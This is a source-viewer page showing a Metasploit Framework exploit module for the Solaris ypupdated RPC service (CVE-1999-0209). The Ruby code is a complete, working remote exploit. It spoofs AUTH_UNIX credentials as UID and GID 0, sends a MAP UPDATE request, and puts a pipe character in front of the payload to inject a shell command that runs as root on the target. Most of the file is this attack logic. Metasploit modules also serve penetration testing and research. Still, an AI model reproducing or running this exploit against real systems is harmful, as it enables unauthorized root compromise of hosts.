root / modules / exploits / solaris / sunrpc / ypupdated_exec.rb @ master
History | View | Annotate | Download (2.5 kB)
| 1 |
##
|
|---|---|
| 2 |
# $Id$
|
| 3 |
##
|
| 4 |
|
| 5 |
##
|
| 6 |
# This file is part of the Metasploit Framework and may be subject to
|
| 7 |
# redistribution and commercial restrictions. Please see the Metasploit
|
| 8 |
# Framework web site for more information on licensing and terms of use.
|
| 9 |
# http://metasploit.com/framework/
|
| 10 |
##
|
| 11 |
|
| 12 |
require 'msf/core'
|
| 13 |
|
| 14 |
class Metasploit3 < Msf::Exploit::Remote |
| 15 |
Rank = ExcellentRanking |
| 16 |
|
| 17 |
include Msf::Exploit::Remote::SunRPC |
| 18 |
|
| 19 |
def initialize(info = {}) |
| 20 |
super(update_info(info,
|
| 21 |
'Name' => 'Solaris ypupdated Command Execution', |
| 22 |
'Description' => %q{ |
| 23 |
This exploit targets a weakness in the way the ypupdated RPC |
| 24 |
application uses the command shell when handling a MAP UPDATE |
| 25 |
request. Extra commands may be launched through this command |
| 26 |
shell, which runs as root on the remote host, by passing |
| 27 |
commands in the format '|<command>'. |
| 28 |
|
| 29 |
Vulnerable systems include Solaris 2.7, 8, 9, and 10, when |
| 30 |
ypupdated is started with the '-i' command-line option. |
| 31 |
},
|
| 32 |
'Author' => [ 'I)ruid <druid[at]caughq.org>' ], |
| 33 |
'License' => MSF_LICENSE, |
| 34 |
'Version' => '$Revision$', |
| 35 |
'References' =>
|
| 36 |
[ |
| 37 |
['CVE', '1999-0209'], |
| 38 |
['OSVDB', '11517'], |
| 39 |
['BID', '1749'], |
| 40 |
], |
| 41 |
'Privileged' => true, |
| 42 |
'Platform' => ['unix', 'solaris'], |
| 43 |
'Arch' => ARCH_CMD, |
| 44 |
'Payload' =>
|
| 45 |
{
|
| 46 |
'Space' => 1024, |
| 47 |
'DisableNops' => true, |
| 48 |
'Compat' =>
|
| 49 |
{
|
| 50 |
'PayloadType' => 'cmd', |
| 51 |
'RequiredCmd' => 'generic perl telnet', |
| 52 |
} |
| 53 |
}, |
| 54 |
'Targets' => [ ['Automatic', { }], ], |
| 55 |
'DefaultTarget' => 0, |
| 56 |
'DisclosureDate' => 'Dec 12 1994' |
| 57 |
)) |
| 58 |
|
| 59 |
register_options( |
| 60 |
[ |
| 61 |
OptString.new('HOSTNAME', [false, 'Remote hostname', 'localhost']), |
| 62 |
OptInt.new('GID', [false, 'GID to emulate', 0]), |
| 63 |
OptInt.new('UID', [false, 'UID to emulate', 0]) |
| 64 |
], self.class
|
| 65 |
) |
| 66 |
end
|
| 67 |
|
| 68 |
def exploit |
| 69 |
hostname = datastore['HOSTNAME']
|
| 70 |
program = 100028
|
| 71 |
progver = 1
|
| 72 |
procedure = 1
|
| 73 |
|
| 74 |
print_status('Sending PortMap request for ypupdated program')
|
| 75 |
pport = sunrpc_create('udp', program, progver)
|
| 76 |
|
| 77 |
print_status("Sending MAP UPDATE request with command '#{payload.encoded}'")
|
| 78 |
print_status('Waiting for response...')
|
| 79 |
sunrpc_authunix(hostname, datastore['UID'], datastore['GID'], []) |
| 80 |
command = '|' + payload.encoded
|
| 81 |
msg = XDR.encode(command, 2, 0x78000000, 2, 0x78000000) |
| 82 |
sunrpc_call(procedure, msg) |
| 83 |
|
| 84 |
sunrpc_destroy |
| 85 |
|
| 86 |
print_status('No Errors, appears to have succeeded!')
|
| 87 |
rescue ::Rex::Proto::SunRPC::RPCTimeout |
| 88 |
print_error('Warning: ' + $!) |
| 89 |
end
|
| 90 |
|
| 91 |
end
|